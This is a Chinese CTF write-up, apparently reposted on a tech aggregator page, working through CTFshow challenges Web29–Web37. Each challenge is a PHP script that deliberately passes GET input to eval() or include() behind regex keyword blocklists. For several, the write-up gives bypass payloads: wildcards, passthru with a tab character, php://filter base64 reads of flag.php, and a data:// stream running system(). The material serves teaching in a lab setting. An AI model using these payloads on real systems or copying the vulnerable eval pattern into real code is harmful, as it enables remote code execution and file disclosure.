IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow——命令执行 -> 正文阅读

[PHP知识库]CTFshow——命令执行

目录

Web29

Web30

Web31

Web32

Web33

Web34

Web35

Web36

Web37

文件包含:PHP伪协议


Web29

<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
 ? ?$c = $_GET['c'];
 ? ?if(!preg_match("/flag/i", $c)){
 ? ? ? ?eval($c);
 ?  }
 ? ?
}else{
 ? ?highlight_file(__FILE__);
}

可以看到,flag已经被过滤掉,先查看目录

我们可以使用通配符绕过flag的过滤

Web30

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
error_reporting(0);
if(isset($_GET['c'])){
 ? ?$c = $_GET['c'];
 ? ?if(!preg_match("/flag|system|php/i", $c)){
 ? ? ? ?eval($c);
 ?  } ? 
}else{
 ? ?highlight_file(__FILE__);
} 

这次除了flag同时还过滤了system函数和php

虽然system函数被过滤,但是在php中有三个专门执行外部命令的函数system(),exec(),passthru(),换一个函数进行查看目录,使用通配符即可

Web31

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
 ? ?$c = $_GET['c'];
 ? ?if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 ? ? ? ?eval($c);
 ?  }
}else{
 ? ?highlight_file(__FILE__);
} 

查看源码,被禁用掉的关键词有flag,system,php,cat,sort,shell,点号、空格、单引号

发现之前所使用的passthru()函数并不影响。所以使用passthru()函数进行尝试,发现可以使用

?c=passthru("ls");
?c=passthru("nl%20`ls`");//不可行原因是因为%20经过url解码之后的结果是空格,而空格已经被过滤掉了
?c=passthru("nl%09`ls`");//解决方法就是将空格用其他组字符替换掉

Web32

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

可以看到flag,system,php,cat,sort,shell,点号、空格、单引号,echo,分号,左括号都被过滤掉了

经过查找资料我发现在php中存在一个独有的一个协议php://filter,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter(过滤器),可以很容易想到这个协议可以用来过滤一些东西。通过查找,这个函数可以使用多个参数达到不同的目的

名称描述备注
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。可选
<;两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

同时read和write还可以对代码进行加密和解密操作

?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

先使用?>闭合代码,然后使用php://filter协议将目标文件进行base64编码,之后直接读取目标文件
在这里插入图片描述将得到的密码进行base64解码即可得到正确答案
在这里插入图片描述

Web33

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

双引号也被过滤掉了

我们将上一题的变量名改为其他类型不使用双引号即可

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

之后再进行base64解码即可

在这里插入图片描述

Web34

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

冒号也被过滤了,由于上一题payload中只有php://filter协议里出现过冒号,所以不影响使用

Web35

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤新增了尖括号,继续使用php://filter协议同上

Web36

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

等号与数字被过滤,我们将原来的数字再替换成字符即可

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }    
}else{
    highlight_file(__FILE__);
} 

查看代码发现过滤了flag,还使用了include文件包含

文件包含:PHP伪协议

实际上这几道题考查的属于文件包含的范畴,是考察PHP伪协议

PHP伪协议就是PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
————————————————
可以参考CSDN博主「LetheSec」的文章:https://blog.csdn.net/qq_42181428/article/details/87090539

所以本题可以使用data://协议

?c=data://text/plain,<?php system("cat f*");
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-22 20:20:15  更:2022-02-22 20:21:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:47:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码